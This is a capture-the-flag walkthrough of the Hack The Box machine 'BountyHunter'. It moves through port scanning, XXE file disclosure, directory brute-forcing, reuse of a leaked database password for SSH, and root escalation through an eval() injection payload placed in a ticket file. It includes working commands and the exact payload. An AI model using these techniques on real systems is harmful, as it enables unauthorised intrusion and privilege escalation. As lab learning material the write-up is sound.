I. Enumeration
- First things first, let’s start with a port scan!
┌──(aki㉿kali)-[~/ctf/htb/BountyHunter]
└─$ nmap -sC -sV -oN nmap.txt 10.10.11.100
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-06 23:35 EDT
Nmap scan report for 10.10.11.100
Host is up (0.68s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.32 seconds
nothing particularly useful. We got 2 basic ports opening and their versions.
- Checking the service versions, seems like they’re relatively new (at the time of writing) and there’s no publicly available vulnerability or exploit for them.
- Manually open it in a web browser, there’s also nothing much there, except this “portal” page
- Follow the link, we get to a simple page for submitting exploits:
- Checking the source code a bit, we find out that this form create a POST request to “tracker_diRbPr00f314.php”
function returnSecret(data) {
return Promise.resolve($.ajax({
type: "POST",
data: {"data":data},
url: "tracker_diRbPr00f314.php"
}));
}
async function bountySubmit() {
try {
var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>${$('#exploitTitle').val()}</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
$("#return").html(data)
}
catch(error) {
console.log('Error:', error);
}
}
- Upon triggering
bountySubmit
function, it’ll create an xml form and submit it. Sounds like a great XXE to me. - Fire up Burp Suite and looking at POST requests, as expected, I saw an encoded string in the
data
variable of every POST request - “It must contain the XML”, I thought. So I tried to decode it
- According to the JS code, the data should be encoded in plain, old Base64, but somehow certain parts of the data seems to be miserably screwed up
- I messed around in Cyberchef a bit, but that screwed part didn’t seems to be meaningful anyway, so I gave up this vector and look for the XXE
- The idea of decoding it, replace with my payload and send it programmatically flashed into my mind, but at the end I chose a lazy way instead - triggering that
returnSecret()
function manually in browser DevTool - After a few time of trial and error, our target finally seems to be vulnerable to XXE
- Next thing is just trial and error, and by that, I mean A LOT OF trials and errors. Come up with a payload, type it in Chrome’s dev tool, check for responses in Burp Suite history (the dev tool console looks quite small to get any serious task done), see if it worked (and 9 out of 10 times, if didn’t), and repeat
- I tried all the payloads on OWASP referencing page, and long story short, seems like it’s not easy to get a RCE from this XXE
- Noticing that this site’s using PHP, I changed my payload a bit, but still… nothing appeared. Blind XXE, and blind inject anything in general, is a pain ;-;
- That’s when I thought of encode it in base64 (the same as the sending payload) rather than trying to get it by plaintext
- And hey! Looks like I had got the content of that log_submit.php file
- Using that exact payload, I tried to get files from other directories but… seems like it’s not that easy
- So I mindlessly browsing around in disorientation. The URI of JS files has the same format “resources/some_file.js”, so I decided to test it against directory listing
- It worked perfectly, and from that directory, I had got a precious README.txt file
Tasks:
[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions
- Come to think of it, this website’s root directory (located at
/var/www/html
I guess? Since it’s an Apache sever after all) must have something that I’d missed - So I ran Gobuster and patiently waited for a good hour
┌──(aki㉿kali)-[~/ctf/htb/BountyHunter]
└─$ gobuster dir --follow-redirect -e -u http://10.10.11.100 -o gobuster.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.100
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Follow Redirect: true
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/09/28 21:51:31 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.11.100/resources (Status: 200) [Size: 2840]
http://10.10.11.100/assets (Status: 403) [Size: 277]
http://10.10.11.100/css (Status: 403) [Size: 277]
http://10.10.11.100/js (Status: 403) [Size: 277]
...
- It ran quite fast at the start, and quite a lot of errors at the end. But after all, it revealed a
/db.php
file, which sounds really exciting
- And finally, it returned some very useful stuffs.
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
- Getting a database’s credentials but cannot logging in is like having your room’s key but the house key is nowhere to be found - not that much of use
- I tried with some combinations from those credentials on SSH, but seems like none of that was correct
- A certain
passwd
user list that I got from XXE earlier flashed through my mind, so I tried my luck
┌──(aki㉿kali)-[~/ctf/htb/BountyHunter]
└─$ grep home passwd.txt
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
- That
development
user looks interesting, so I tried it with the database credentials
- And we got it! The user flag!
II. Privilege escalation
- 5 seconds in and I’d already known what I was going to do:
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
- Okay so we could run that
ticketValidator.py
file as root, and…
development@bountyhunter:~$ ls -l /opt/skytrain_inc/ticketValidator.py
-r-xr--r-- 1 root root 1471 Jul 22 11:08 /opt/skytrain_inc/ticketValidator.py
- It didn’t looks like we can modify that file anyway. So let’s cat it out and see what’s what.
development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
- Before breaking something, we’ve to understand how it works first. So I wrote a perfectly valid “ticket” for the script:
# Skytrain Inc
## Ticket to BountyHunter and friends
__Ticket Code:__
**11+90
- And it worked as it should:
development@bountyhunter:~$ sudo -u root /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/home/development/ticket.md
Destination: BountyHunter and friends
Valid ticket.
- Now the real question is - how to exploit this “ticket” function
- The only line that caught my attention was this particular line:
validationNumber = eval(x.replace("**", ""))
Yes, that eval
.
- As far as I knew,
eval
can only be used with Python’sexpressions
, notstatements
. But a little bit of experience in Python can lead you to this:
>>> eval(exec("import pty; pty.spawn('/bin/bash')"))
┌──(aki㉿kali)-[~]
└─$
- The only obstacle in our way was this 2 lines:
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
- Basically, before we could get our sweet reverse shell, we need to bypass this check first
- Of those 2 lines, the first one defined a
ticketCode
variable which is equal to the first part of our payload, before the first “+” sign, excluding all “**”. If we just insert our payload there, it wouldn’t be able to be converted toint
type and therefore, thateval
statement would be ignored - However,
exec
in Python3 actually does return something. So I tried this:
>>> eval(11+exec("import pty; pty.spawn('/bin/bash')"))
┌──(aki㉿kali)-[~]
└─$
perfect. ‘^’
- So our full payload was:
# Skytrain Inc
## Ticket to BountyHunter and friends
__Ticket Code:__
**11+exec("import pty; pty.spawn('/bin/bash')")
- Let’s try out if it worked
development@bountyhunter:~$ sudo -u root /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/home/development/ticket.md
Destination: BountyHunter and friends
root@bountyhunter:/home/development# whoami
root
- And that’s it, a great challenge to learn about XXE.